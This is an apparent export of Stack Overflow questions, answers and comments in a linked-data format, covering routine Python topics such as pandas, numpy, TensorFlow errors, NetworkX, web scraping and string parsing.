has comment: http://stackoverflow.com/comment/81667170
tagged with: list
has comment: http://stackoverflow.com/comment/81667111
has comment: http://stackoverflow.com/comment/81667133
has title: Splitting a list of twitter data
answer count: 2
possible better answer: http://stackoverflow.com/a/47357535
has comment: http://stackoverflow.com/comment/81667353
has comment: http://stackoverflow.com/comment/81667319
has comment: http://stackoverflow.com/comment/81667599
has body: I have a file full of hundreds of un-separated tweets all formatted like so: {"text": "Just posted a photo @ Navarre Conference Center", "created_at": "Sun Nov 13 01:52:03 +0000 2016", "coordinates": [-86.8586, 30.40299]} I am trying to split them up so I can assign each part to a variable. The text The timestamp The location coordinates I was able to split the tweets up using .split('{}') but I don't really know how to split the rest into the three things that I want. My basic idea that didn't work: file = open('tweets_with_time.json' , 'r') line = file.readline() for line in file: line = line.split(',') message = (line[0]) timestamp = (line[1]) position = (line[2]) #just to test if it's working print(position) Thanks!
has comment: http://stackoverflow.com/comment/81667410
has comment: http://stackoverflow.com/comment/81667415
has answer: http://stackoverflow.com/a/47357535
tagged with: twitter
upvote count: 1
downvote count: 1
favorite count: 0

http://stackoverflow.com/comment/81584288
type: QuestionComment
has text: This sounds like it has nothing to do with Selenium or Python? You are just having problem copying a file with elevated privileges?
comment on: http://stackoverflow.com/q/47315871
score: 1
type: Comment

http://stackoverflow.com/a/47228686
has body: Use the sum() built-in function, passing an appropriate generator expression: sum(k for k,v in d.items() if 'technology' in v) (n.b. use d.iteritems() in Python2). Runnable demo: d = { 4722: "['children', 'dance', 'education','technology', 'teaching']", 3200: "['alternative energy', 'sustainability', 'technology']", 1636: "['computers', 'performance', 'simplicity', 'software', 'ice']", 1697: "['MacArthur grant', 'inequality', 'technology', 'pollution']" } result = sum(k for k,v in d.items() if 'technology' in v) assert result == 9619 References: https://docs.python.org/2/library/functions.html#sum https://docs.python.org/2/library/stdtypes.html#dict.items https://docs.python.org/2/reference/expressions.html#grammar-token-generator_expression
answers question: http://stackoverflow.com/q/47228622
type: Answer
upvote count: 4
score: 4
has comment: http://stackoverflow.com/comment/81438918
downvote count: 0

http://stackoverflow.com/a/47259615
answers question: http://stackoverflow.com/q/47258802
type: Answer
has body: Here is another approach based on @PM 2Ring answer: S ='what about the lazy brown fox that jumped over the other brown one which lazy dog ate the food of the fox' Q ='lazy brown dog' import itertools track={} for index,value in enumerate(S.split()): if value in Q: if value not in track: track[value]=[index] else: track[value].append(index) combination = [(min(item),max(item)) for item in itertools.product(*track.values())] result=min([(i[1]-i[0],(i[0],i[1])) for i in combination if set(Q.split()).issubset(S.split()[i[0]:i[1]+1])]) print(result[1]) output: (11, 15)
score: 0

http://stackoverflow.com/comment/106736322
score: 0
comment on: http://stackoverflow.com/a/47354179
type: Comment
type: AnswerComment
has text: Hello, I am trying to use this code but it seems i need to define inShape = '4' and outShape = '4' i.e. strings with 1 number inside .. because otherwise i get an error : ValueError: Error converting shape to a TensorShape: invalid literal for int() with base 10: '('. (if using '(4,)' and another error if i use a tuple (4,)... does it make sense to you? Why is that so? can you explain?

http://stackoverflow.com/comment/81438612
score: 0
type: Comment
type: QuestionComment
has text: Do you get an error message?
comment on: http://stackoverflow.com/q/47243935

http://stackoverflow.com/a/47340114
score: 1
downvote count: 0
answers question: http://stackoverflow.com/q/47302785
type: Answer
upvote count: 1
has body: Since you're using the dtterm window manipulation controls (see XTerm Control Sequences), the terminal may implement the corresponding reports. This section has the information: CSI Ps ; Ps ; Ps t Window manipulation (from dtterm, as well as extensions). These controls may be disabled using the allowWindowOps resource. Valid values for the first (and any additional parameters) are: This is relevant: Ps = 1 4 -&gt; Report xterm window in pixels. Result is CSI 4 ; height ; width t That is, you could obtain the size of the window in pixels using that control sequence, and from knowing the window's rows/columns, you could compute the font-size. Given that information (and the monitor's size), you can determine the number of character rows and columns which would fit.

http://stackoverflow.com/comment/81710095
comment on: http://stackoverflow.com/q/47378900
score: 0
has text: Please format the code for readability. Also, include the errors with the question in case the external images are deleted.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47297065
has comment: http://stackoverflow.com/comment/81547120
has comment: http://stackoverflow.com/comment/81546212
has answer: http://stackoverflow.com/a/47297593
type: AnsweredQuestion
score: 0
has body: I tried thousands of times to apply "NetworkX" Python library to analyze the datasets found by this link: http://konect.uni-koblenz.de/networks/topology As long as I execute my Python code to the data found there I got, for example, some unrealistic results. g = nx.read_weighted_edgelist('out.topology') g.size() 0 0 as a result for this huge data is completely wrong ! Could you please help me to read this data through "NetworkX" Python library ?
answer count: 1
has title: Python & NetworkX for Network Topology Data
tagged with: networkx
type: Question
tagged with: graph
tagged with: python
accepted answer: http://stackoverflow.com/a/47297593

http://stackoverflow.com/q/47230593
has answer: http://stackoverflow.com/a/47230725
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81411872
tagged with: python
tagged with: text-processing
has comment: http://stackoverflow.com/comment/81411970
tagged with: text
score: 0
answer count: 3
has body: I am using python to process pcap files and input the processed values to a text file. The text file has around 8000 rows and some times, the text file has string such as 7.70.582 . In my further processing of the text file i am splitting the file into lines and extracting each of the float values in every line. Then I get this error ValueError: invalid literal for float(): 7.70.582 In such cases I am interested only in 7.70 and I need to avoid everything after the second decimal including it. Is there any trick to extract only the string till the first character after the first decimal point? I was searching for an answer for this and it seems there has been no such situation asked before. Or is there a method where I can skip those lines where this kind of errors are happening?
has title: stripping the correct float value out of my string
has answer: http://stackoverflow.com/a/47230720
type: Question
has comment: http://stackoverflow.com/comment/81411885
has answer: http://stackoverflow.com/a/47230701

http://stackoverflow.com/q/47299562
favorite count: 0
has comment: http://stackoverflow.com/comment/81550623
has comment: http://stackoverflow.com/comment/81550515
type: Question
answer count: 0
downvote count: 0
has comment: http://stackoverflow.com/comment/81550497
upvote count: 1
tagged with: javascript
type: UnansweredQuestion
tagged with: web-scraping
tagged with: python
has body: I'm currently learning how to do web-scraping with python and beautifulsoup and I've run into a bit of a problem. Here is a link to the problem page. At the bottom of the list of all of the books, there is some text that reads "Pages" and then a list of numbers which are the page numbers to continue viewing the rest of the books. When each number is clicked it updates the page with a new set of books but when I inspect one of the page number elements all I see is this: 3 I am currently trying to simulate what occurs when you click on one of the numbers and it updates the page with a new set of books. However, I'm not sure how to do this as there is no url link and there is nothing else hinting at how to update the DOM with the new page. I believe that the site is doing something similar to what this guy did where it was explained that he was essentially using the a tag as a button instead. If anyone has any other info about what is going on here, I'd be tremendously thankful! Thanks for the help!
has title: How can I scrape the next page in this DOM where the a tags have no links?
tagged with: beautifulsoup
has comment: http://stackoverflow.com/comment/81550902
linked to: http://stackoverflow.com/q/11144653
has comment: http://stackoverflow.com/comment/81550696
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/81550853
has comment: http://stackoverflow.com/comment/81550422
score: 1
has comment: http://stackoverflow.com/comment/81550791

http://stackoverflow.com/q/47340607
tagged with: tensorflow-transform
tagged with: python
has comment: http://stackoverflow.com/comment/81634626
accepted answer: http://stackoverflow.com/a/47358487
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47358487
tagged with: google-cloud-platform
score: 1
answer count: 1
has comment: http://stackoverflow.com/comment/81675462
downvote count: 0
tagged with: machine-learning
upvote count: 1
tagged with: tensorflow
favorite count: 0
has body: I am getting the error: “tensorflow.python.framework.errors_impl.InvalidArgumentError: Dense float feature must be a matrix.” when training with estimator tensorflow.contrib.boosted_trees.estimator_batch.estimator.GradientBoostedDecisionTreeClassifier. I am using Tensorflow version 1.4.0. The same code works correctly if I change estimator to tf.contrib.learn.DNNClassifier. In the code, dictionary of features are passed in “Train_input_fn” in tf.contrib.learn.Experiment. Anyone faced similar error before? #'tensorflow==1.4.0' import tensorflow as tf import argparse import sys import os from tensorflow.contrib.boosted_trees.estimator_batch.estimator import GradientBoostedDecisionTreeClassifier from tensorflow.contrib.boosted_trees.proto import learner_pb2 from tensorflow_transform.tf_metadata import metadata_io from tensorflow_transform.saved import input_fn_maker from tensorflow.contrib.learn.python.learn import learn_runner RAW_METADATA_DIR="raw_metadata" CONTRACTED_METADATA_DIR="contracted_metadata" TRANSFORMED_METADATA_DIR="transformed_metadata" TRANSFORMED_TRAIN_DATA_FILE_PREFIX="train" TRANSFORMED_EVAL_DATA_FILE_PREFIX="eval" DATA_FILE_SUFFIX=".tfrecord.gz" TRANSFORM_FN_DIR="transform_fn" TARGET_FEATURE_COLUMN='target_field' FEATURE_NUMERICAL_COLUMN_NAMES = [ 'feature1', 'feature2', 'feature3', 'feature4', 'feature5' ] FEATURE_INTEGER_COLUMN_NAMES = [ # comment out fields that are not features 'feature6', 'feature7', 'feature8', 'feature9', 'feature10' ] def _parse_arguments(argv): """Parses command line arguments.""" parser = argparse.ArgumentParser( description="Runs training on data.") parser.add_argument( "--model_dir", required=True, type=str, help="The directory where model outputs will be written") parser.add_argument( "--input_dir", required=True, type=str, help=("GCS or local directory containing tensorflow-transform outputs.")) parser.add_argument( "--batch_size", default=30, required=False, type=int, help=("Batch size to use during training.")) parse…
type: Question
has title: Tensorflow GradientBoostedDecisionTreeClassifier error : "Dense float feature must be a matrix"

http://stackoverflow.com/q/47376380
upvote count: 3
score: 3
has answer: http://stackoverflow.com/a/47530866
tagged with: python
tagged with: google-cloud-storage
type: Question
tagged with: google-cloud-platform
type: UnansweredQuestion
answer count: 1
downvote count: 0
has body: I'm working on a project with Python(3.6) &amp; Django(1.10) in which I need to create a function at Google cloud using API request. How can upload code in the form of a zip archive while creating that function? Here's what I have tried: From views.py : def post(self, request, *args, **kwargs): if request.method == 'POST': post_data = request.POST.copy() post_data.update({'user': request.user.pk}) form = forms.SlsForm(post_data, request.FILES) print('get post request') if form.is_valid(): func_obj = form func_obj.user = request.user func_obj.project = form.cleaned_data['project'] func_obj.fname = form.cleaned_data['fname'] func_obj.fmemory = form.cleaned_data['fmemory'] func_obj.entryPoint = form.cleaned_data['entryPoint'] func_obj.sourceFile = form.cleaned_data['sourceFile'] func_obj.sc_github = form.cleaned_data['sc_github'] func_obj.sc_inline_index = form.cleaned_data['sc_inline_index'] func_obj.sc_inline_package = form.cleaned_data['sc_inline_package'] func_obj.bucket = form.cleaned_data['bucket'] func_obj.save() service = discovery.build('cloudfunctions', 'v1', http=views.getauth(), cache_discovery=False) requ = service.projects().locations().functions().generateUploadUrl(parent='projects/' + func_obj.project + '/locations/us-central1', body={}) resp = requ.execute() print(resp) try: auth = views.getauth() # Prepare Request Body req_body = { "CloudFunction": { "name": func_obj.fname, "entryPoint": func_obj.entryPoint, "timeout": '60s', "availableMemoryMb": func_obj.fmemory, "sourceArchiveUrl": func_obj.sc_github, }, "sourceUploadUrl": func_obj.bucket, } service = discovery.build('cloudfunctions', 'v1beta2', http=auth, cachce_dicovery=False) func_req = service.projects().locations().functions().create(location='projects/' + func_obj.project + '/locations/-', body=req_body) func_res = func_req.execute() print(func_res) return HttpResponse('Submitted',) except: return HttpResponse(status=500) return HttpResponse('Sent!') Updated Code below: if form.is_valid(): fun…
has title: Create Google Cloud Function using API in Python
favorite count: 0

http://stackoverflow.com/q/47248340
tagged with: indexing
type: AnsweredQuestion
duplicate of: http://stackoverflow.com/q/5469286
has title: how can I get index of max value of histogram?
score: 1
tagged with: matplotlib
answer count: 1
downvote count: 0
favorite count: 0
type: Question
tagged with: max
linked to: http://stackoverflow.com/q/5469286
tagged with: histogram
upvote count: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/47248379
has body: I have matlab code and I want to change it to python code. To do this , I want to know how to get index of max value of histogram in python In matlab it's easy to get index for example array1 = [0 1 2 2 3 4 4 4 4 5 6 6 7 8 9] a1 = hist(array1,max(array1)-min(array1)) [value , index] = max(a1) u=[index-2:1:index+2] array_matrix = a1(u) % then value = 4 , index = 5 but how can I get in python? I know there's matplotlib and numpy to get histogram. but I don't know how to get max value and index of it.
has answer: http://stackoverflow.com/a/47248379

http://stackoverflow.com/q/47237056
has answer: http://stackoverflow.com/a/47237190
has title: Replace all function calls in Python
has comment: http://stackoverflow.com/comment/81424282
tagged with: python
has comment: http://stackoverflow.com/comment/81425394
type: AnsweredQuestion
score: 3
answer count: 3
has comment: http://stackoverflow.com/comment/81424320
has answer: http://stackoverflow.com/a/47237718
accepted answer: http://stackoverflow.com/a/47237718
has comment: http://stackoverflow.com/comment/81424863
downvote count: 1
upvote count: 4
has body: I am working with a piece of code that looks like this: # This code is not modifiable from package import distance as dist class A: def calculate(self): ... # call to dist() ... My code: from package import A a = A() a.calculate() As you can see, the distance() function is imported at the top of the code. The class A makes a call to a distance() function. It does so, in several places and not only in calculate(). I want the class to use my custom distance function. However, the class does not let me pass it in the constructor and I cannot modify the code of A. How would I do this? Is this possible via subclassing? I tryed the following, which did not work: from package import A class B(A): def __init__(self): from mypackage import mydistance as dist return super().__init__() b = B() b.calculate()
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47237680
possible better answer: http://stackoverflow.com/a/47237680

http://stackoverflow.com/q/47316999
type: AnsweredQuestion
tagged with: pandas
has comment: http://stackoverflow.com/comment/81586256
score: 1
downvote count: 0
answer count: 1
upvote count: 1
accepted answer: http://stackoverflow.com/a/47317809
has comment: http://stackoverflow.com/comment/81586461
has comment: http://stackoverflow.com/comment/81586380
tagged with: logging
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47317809
has comment: http://stackoverflow.com/comment/81585879
has comment: http://stackoverflow.com/comment/81587559
has body: Can anyone explain why the second method of computing log change yields a numpy array, discarding the index instead of DataFrame? If I specify DataFrame I get one with integer based index. The first method works as desired. Thanks for any insight. import numpy as np import pandas as pd import pandas_datareader as pdr aapl = pdr.get_data_yahoo('AAPL') close = pd.DataFrame(aapl['Close']) change = np.log(close['Close'] / close['Close'].shift(1)) another_change = np.diff(np.log(close['Close']))
has title: alternate methods of computing log change yield different structures
tagged with: python
tagged with: numpy

http://stackoverflow.com/q/47289909
has answer: http://stackoverflow.com/a/70111478
has answer: http://stackoverflow.com/a/56217822
possible better answer: http://stackoverflow.com/a/56217822
tagged with: python
has body: I'm trying to install the avro package for confluent-kafka with python3 on macOs Sierra. Installing the confluent-kafka package works fine, no issues. The problem is when I try to install the avro package: pip install confluent-kafka[avro] I just get an error message from the bash, saying: no matches found: confluent-kafka[avro] How can I install this package? Anyone else that have managed to do it on mac?
score: 4
type: Question
upvote count: 4
has comment: http://stackoverflow.com/comment/81554711
tagged with: avro
answer count: 3
tagged with: confluent-platform
has title: Install confluent-kafka avro with pip
has answer: http://stackoverflow.com/a/47318708
accepted answer: http://stackoverflow.com/a/47318708
downvote count: 0
has comment: http://stackoverflow.com/comment/81530495
favorite count: 0
tagged with: apache-kafka
type: AnsweredQuestion

http://stackoverflow.com/comment/81722980
score: 0
has text: The better solution is to not override the `run` method at all so that you're not preventing the inbuilt event loop of the `QThread` from running.
type: AnswerComment
comment on: http://stackoverflow.com/a/47350669
type: Comment

http://stackoverflow.com/comment/81686958
comment on: http://stackoverflow.com/q/47367216
score: 2
type: Comment
has text: @PatrickHaugh OP wants to take an input of length four without the user having to press enter.
type: QuestionComment

http://stackoverflow.com/q/47373427
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81699407
score: 0
tagged with: typeerror
answer count: 1
has body: I'm scripting a small game to guess a number and I don't understand why I'm getting this error as both num and userNum in my numCheck() function should be strings and not functions. import random def num(): """Returns a number between 1000 and 9999.""" num = str(random.randint(1000, 9999)) print("Random number is: " + num) #for testing purposes return num def userNum(): """Asks user for a number between 1000 and 9999.""" while True: try: userNum = int(input("Choose a number between 1000 and 9999: ")) except ValueError: print("This isn't a number, try again.") continue if userNum &lt; 1000 or userNum &gt; 9990: print("Your number isn't between 1000 and 9999, try again.") continue else: break userNum = str(userNum) return userNum def numCheck(num, userNum): """Checks the number of cows and bulls.""" cow = 0 bull = 0 for i in range(0, 3): if userNum[i] == num[i]: cow += 1 else: bull += 1 print("You have " + str(cow) + " cow(s) and you have " + str(bull) + " bull(s).") return cow def gameLoop(): """Loops the game until the user find the right number.""" num() cow = 0 if cow &lt; 4: userNum() numCheck(num, userNum) else: print("Congratulation, You found the right number!") gameLoop() The error I get when I run the script is the following: ==================== RESTART: /home/pi/Desktop/cowbull.py ==================== Random number is: 8104 Choose a number between 1000 and 9999: 5555 Traceback (most recent call last): File "/home/pi/Desktop/cowbull.py", line 47, in &lt;module&gt; gameLoop() File "/home/pi/Desktop/cowbull.py", line 43, in gameLoop numCheck(num, userNum) File "/home/pi/Desktop/cowbull.py", line 30, in numCheck if userNum[i] == num[i]: TypeError: 'function' object is not subscriptable &gt;&gt;&gt; Note that other things may not be working or perfect at the moment, but I'm only trying to figure out the logic of this error so I can continue on. Thanks for the help!
tagged with: string
type: Question
has answer: http://stackoverflow.com/a/47373518
accepted answer: http://stackoverflow.com/a/47373518
tagged with: python-3.x
tagged with: function
has title: "TypeError: 'function' object is not subscriptable" on a string?

http://stackoverflow.com/q/47382587
tagged with: python
has answer: http://stackoverflow.com/a/47382599
accepted answer: http://stackoverflow.com/a/47382599
duplicate of: http://stackoverflow.com/q/403421
type: AnsweredQuestion
tagged with: python-2.7
upvote count: 0
downvote count: 2
answer count: 1
linked to: http://stackoverflow.com/q/403421
has body: I have a list of Objects: [variable , variable , variable , ...] which each have an array called domain. As example: variable.domain = ["aa" , "bbb" , "c" , "dddd"]. I need this variable list sorted by the size of the domain arrays. How can i sort this list using .sort() or .sorted() ?
favorite count: 0
type: Question
has title: Sort list of objects based on the size of sub-arrays
score: -2

http://stackoverflow.com/comment/81630797
type: Comment
has text: Did you look at the discussion here? https://stackoverflow.com/questions/34749806/using-moviepy-scipy-and-numpy-in-amazon-lambda
type: QuestionComment
comment on: http://stackoverflow.com/q/47339237
score: 2

http://stackoverflow.com/a/51228688
accepted answer of: http://stackoverflow.com/q/47299415
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47299415
has body: I had this same issue and looked more into it. In the en_US provider there about 1000 last names and 750 first names for about 750000 unique combos. If you randomly select a first and last name, there is a chance you'll get duplicates. But in reality, that's how the real world works, there are many John Smiths and Robert Doyles out there. There are 7203 first names and 473 last names in the en profile which can kind of help. Faker chooses the combo of first name and last name meaning there are about 7203 * 473 = 3407019. But still, there is a chance you'll get duplicates. I solve this problem by adding numbers to names. I need to generate huge dataset. Keep in mind that in reality, any huge dataset of names will have duplicates. I work with large datasets (> 1 million names) and we see a ton of duplicate first and last names. If you read the faker package code, you can probably figure out how to modify it so you get all 3M distinct names.
upvote count: 2
downvote count: 0
type: Answer
score: 2

http://stackoverflow.com/comment/81523742
comment on: http://stackoverflow.com/q/47280966
type: Comment
score: 1
has text: Please edit your post and provide a [minimal, runnable example](https://stackoverflow.com/help/mcve), otherwise it's really difficult or even impossible to find the bug.
type: QuestionComment

range
tags question: http://stackoverflow.com/q/47268423
tags question: http://stackoverflow.com/q/47234073
tags question: http://stackoverflow.com/q/47320551
type: Tag
tags question: http://stackoverflow.com/q/47381241
tags question: http://stackoverflow.com/q/47258802
tags question: http://stackoverflow.com/q/47254264
tag name: range

http://stackoverflow.com/comment/81451497
has text: I don't use Windows, but I'm pretty sure that standard redirection syntax works in your command prompt, eg `pyminifier -O --nonlatin --replacement-length=5 C:/hi.py >C:/newhi.py`
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47249845
type: QuestionComment

http://stackoverflow.com/comment/81503882
type: QuestionComment
has text: This is not the way you use a dictionary.
comment on: http://stackoverflow.com/q/47276332
score: 1
type: Comment

http://stackoverflow.com/comment/81722158
score: 0
has text: Read the exception and follow its advice. In this case, don't define the relationship with auth.User!
type: Comment
comment on: http://stackoverflow.com/a/47275071
type: AnswerComment

http://stackoverflow.com/a/75856425
has body: I don't understand why the LED don't light up maybe there are some problems with the data or with wiring also always add some debugging prints using the serial monitor. Also why don't try to set the threshold to 600 instead of 1000 int threshold = 600; //Set minimum threshold for LED lit Also don't forget to update ThingSpeak channel digitalWrite(ledPin,HIGH);//turn on the led ThingSpeak.setField(1, value); ThingSpeak.writeFields(myChannelNumber, myWriteAPIKey);
answers question: http://stackoverflow.com/q/47336600
type: Answer
score: 0

http://stackoverflow.com/q/47381264
answer count: 1
tagged with: string
downvote count: 1
favorite count: 0
type: Question
tagged with: split
tagged with: iterator
upvote count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47403485
tagged with: python
score: -1
has title: How to split sentence at sentence boundaries using iterators in python
has body: Hi I have to parse a string such that I split it at the punctuation and write each sentence on a separate line. There are some cases where the punctuation is not a sentence boundary and therefore I don't split it there (for debugging purposes I print out a message when these cases occur). The following is my code (below): line is my string that I am reading in punctuation list is a predefined list (not that important) sentence_boundary is the Boolean that I am trying to use to know when to split the sentence I use i, prev and c to check the current, next and next,next characters Since I worked backwards, the code finds all the conditions that are NOT sentence boundaries. It checks for multiple cases and uses iterators to check the next characters. Because I am using iterators, I decided to use recursion to pass in a smaller string everytime so I could iteratively search the whole string. The functionality is working. However, the goal is to split the string at the points where the punctuation IS actually a sentence boundary (i.e. when the other cases are not met). Because of my recursive function I've gotten myself into a bit of a problem where I can't keep track of the index of the list that I am at and therefore don't know where to split the sentence. I was thinking of using a helper function somehow but I don't know how to keep track of the index. Any help would be appreciated in helping me to modify this code. I know my approach is a bit backwards (rather than looking for where to split the sentence I am looking for where not to split it), but I would like to still work off of this code if possible. def parse(line): #function sentence_boundary = True if (len(line) == 3): return t = iter(line) i = next(t) prev = next(t) c = next(t) # periods followed by a digit with no intervening whitespace are not sentence boundaries if i == "." and (prev.isdigit()): print("This is a digit") sentence_boundary = False # periods followed by certain kinds of punctuation are probab…

http://stackoverflow.com/comment/137926459
comment on: http://stackoverflow.com/a/47375792
type: AnswerComment
has text: Another issue is that it appears to split complex emoji, i.e. soemthing like `'‍‍'` becomes `['', '\u200d', '', '\u200d', '']`.
score: 0
type: Comment

http://stackoverflow.com/comment/81429162
score: 0
type: Comment
type: QuestionComment
has text: Why do you need to convert to CSV? Why can you just load the JSON data and access that?
comment on: http://stackoverflow.com/q/47239444

http://stackoverflow.com/comment/81513538
type: AnswerComment
has text: `gtk.main` creates a main event loop. There you can watch event sources, like timeouts, idles, or I/O channels. The main loop will take care of calling your callbacks when events on these event sources trigger. You can even create you own event sources by creating new `GSource`s. The C documentation for `g_io_add_watch` says: `Adds the GIOChannel into the default main loop context with the default priority` so you basically say to the main loop: "here's a new event source I want to catch, call the associated callback when a event happens on that source".
score: 1
type: Comment
comment on: http://stackoverflow.com/a/47268692

http://stackoverflow.com/a/47359023
has comment: http://stackoverflow.com/comment/81671594
score: 2
has comment: http://stackoverflow.com/comment/81671094
type: Answer
has body: set_index + concat pd.concat([df1.set_index(['Index','Date']),df2.set_index(['Index','Date'])],1).reset_index() Out[1145]: Index Date Data1 Data2 Data3 Data4 0 A 2007-07-21 76.0 32.0 NaN NaN 1 A 2007-07-24 NaN NaN 14.0 NaN 2 A 2007-08-13 NaN 23.0 67.0 51.0 3 B 2007-06-15 53.0 NaN NaN NaN 4 B 2007-06-21 NaN NaN 32.0 36.0 5 B 2007-07-15 87.0 39.0 NaN 91.0 Or we can use merge df1.merge(df2,on=['Index','Date'],how='outer') Out[1147]: Index Date Data1 Data2 Data3 Data4 0 A 2007-07-21 76.0 32.0 NaN NaN 1 A 2007-08-13 NaN 23.0 67.0 51.0 2 B 2007-06-15 53.0 NaN NaN NaN 3 B 2007-07-15 87.0 39.0 NaN 91.0 4 A 2007-07-24 NaN NaN 14.0 NaN 5 B 2007-06-21 NaN NaN 32.0 36.0
has comment: http://stackoverflow.com/comment/81670949
has comment: http://stackoverflow.com/comment/81671061
answers question: http://stackoverflow.com/q/47358985
has comment: http://stackoverflow.com/comment/81671142
has comment: http://stackoverflow.com/comment/81670970
upvote count: 2
downvote count: 0

http://stackoverflow.com/q/47242637
downvote count: 0
has body: When I create an inline image in Ipython Notebook, it displays the image just fine. However, when I hover over the image, I cannot see the pixel values, that normally show up on the bottom right corner. How do I fix that? Thanks. (Below is some sample code). import numpy as np import matplotlib import matplotlib.pyplot as plt from IPython import display %matplotlib inline fig, ax = plt.subplots(nrows = 1, ncols = 1, figsize=(10, 10)) for ii in xrange(10): im = np.random.randn(100,100) ax.cla() ax.imshow(im, interpolation='None') ax.set_title(ii) plt.show()
tagged with: imshow
tagged with: python
type: AnsweredQuestion
has title: Why doesn't imshow show pixel values when I hover over it?
score: 1
tagged with: matplotlib
answer count: 1
upvote count: 1
tagged with: ipython
favorite count: 0
tagged with: jupyter-notebook
accepted answer: http://stackoverflow.com/a/47242652
type: Question
has answer: http://stackoverflow.com/a/47242652
has comment: http://stackoverflow.com/comment/81435917

http://stackoverflow.com/q/47307518
tagged with: performance
has comment: http://stackoverflow.com/comment/81565857
has comment: http://stackoverflow.com/comment/81565834
linked to: http://stackoverflow.com/q/29280470
tagged with: python
has title: Which operator (+ vs +=) should be used for performance? (In-place Vs not-in-place)
score: 12
linked to: http://stackoverflow.com/q/1132941
has comment: http://stackoverflow.com/comment/81565890
upvote count: 12
has comment: http://stackoverflow.com/comment/81566090
answer count: 1
tagged with: in-place
downvote count: 0
accepted answer: http://stackoverflow.com/a/47308275
has comment: http://stackoverflow.com/comment/81566753
has body: Let's say I have this two snippet of code in python : 1 -------------------------- import numpy as np x = np.array([1,2,3,4]) y = x x = x + np.array([1,1,1,1]) print y 2 -------------------------- import numpy as np x = np.array([1,2,3,4]) y = x x += np.array([1,1,1,1]) print y I thought the result of y will be the same in both examples since y point out to x and x become (2,3,4,5), BUT it wasn't The results were (1,2,3,4) for 1 and (2,3,4,5) for 2. After some research I find out that in first example #-First example--------------------------------------- x = np.array([1,2,3,4]) # create x --&gt; [1,2,3,4] y = x # made y point to x # unril now we have x --&gt; [1,2,3,4] # | # y x = x + np.array([1,1,1,1]) # however this operation **create a new array** [2,3,4,5] # and made x point to it instead of the first one # so we have y --&gt; [1,2,3,4] and x --&gt; [2,3,4,5] #-Second example-------------------------------------- x = np.array([1,2,3,4]) # create x --&gt; [1,2,3,4] y = x # made y point to x # unril now the same x --&gt; [1,2,3,4] # | # y x += np.array([1,1,1,1]) # this operation **Modify the existing array** # so the result will be # unril now the same x --&gt; [2,3,4,5] # | # y You can find out more about this behaviors (not only for this example) in this link In-place algorithm My question is : Being aware of this behavior why should I use in-place algorithm in term of performance? (time of excution faster? less memory alocation?..) EDIT : Clarification The example of (+, =+) was just to explain simply the in-place algorithm to the one who don't know.. but the question was in general the use of in-place algorithm not only in this case.. As another more complex example: loading a CSV file (just 10 Million rows) in a variable then sorting the result, is the idea of in-place algorithm is to produce an output in the same memory space that contains the input by successively transforming that data until the output is produced? - This avoids the need to use twice th…
has comment: http://stackoverflow.com/comment/81565727
has answer: http://stackoverflow.com/a/47308275
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81565629
has comment: http://stackoverflow.com/comment/81565419
has comment: http://stackoverflow.com/comment/81566586
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81565929
has comment: http://stackoverflow.com/comment/81567317
linked to: http://stackoverflow.com/q/47309818

http://stackoverflow.com/a/47227513
accepted answer of: http://stackoverflow.com/q/47227429
has body: One alternative is to construct the index using np.r_ as: np.r_[0,1:len(v)-1:2,-1] v = np.array([0,1,2,3,4,5,6]) v[np.r_[0,1:len(v)-1:2,-1]] # array([0, 1, 3, 5, 6])
upvote count: 2
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47227429
type: Answer
score: 2

http://stackoverflow.com/q/47272699
has comment: http://stackoverflow.com/comment/81563379
possible better answer: http://stackoverflow.com/a/47310366
accepted answer: http://stackoverflow.com/a/52244382
tagged with: keras
has title: Need Tensorflow/Keras equivalent for scipy signal.fftconvolve
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/81519043
type: AnsweredQuestion
has body: I want to use scipy.signal.fftconvolve in Tensorflow/Keras, is there any way to do that? Right now I am using the following code : window = np.tile(window, (1, 1, 1, 3)) tf.nn.conv2d(img1, window, strides=[1,1,1,1], padding='VALID') Are these lines equivalent to : signal.fftconvolve(img1, window, mode='valid')
has comment: http://stackoverflow.com/comment/81570607
has comment: http://stackoverflow.com/comment/81540187
linked to: http://stackoverflow.com/q/46803541
score: 3
tagged with: python
tagged with: scipy
has answer: http://stackoverflow.com/a/47310366
tagged with: tensorflow
has answer: http://stackoverflow.com/a/52244382
type: Question
upvote count: 4
tagged with: numpy
answer count: 2
linked to: http://stackoverflow.com/q/39051451

http://stackoverflow.com/comment/119258085
score: 0
comment on: http://stackoverflow.com/q/47310929
type: Comment
type: QuestionComment
has text: The more that I learn about character encoding, the more that I appreciate the choice not to have a character type in Python. There are a lot of characters (although the only ones I can think of off the top of my head are national flag emoji) which cannot be represented in a single Unicode code point, so why not just be realistic and accept that line character literals are fundamentally strings?

http://stackoverflow.com/comment/81550721
has text: yeah. What about tdm, X_tfidf ?
comment on: http://stackoverflow.com/q/47298491
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81529141
has text: Thanks, but I get an error: Series object has no attribute columns
comment on: http://stackoverflow.com/a/47288708
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81537762
has text: now wondering why '/n' hasn't put 'write' on a new line below existing ones
comment on: http://stackoverflow.com/q/47293290
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81781880
score: 0
has text: I think you are correct about this but I'm not sure that was the main issue. Correct me if I am wrong but I realized one reason the kivy app is not showing the updated text is because I'm not calling methods of the `Controller` class which is actually displaying the text. I'm calling methods of the class instance `c` which is something completely different. Am I right? and if so how do I call methods of a class from outside of the class itself? I tried `Controller.show_dist()` but that didn't work. I was able to work around this was by putting all functions in the Controller class.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47354828

http://stackoverflow.com/q/47288391
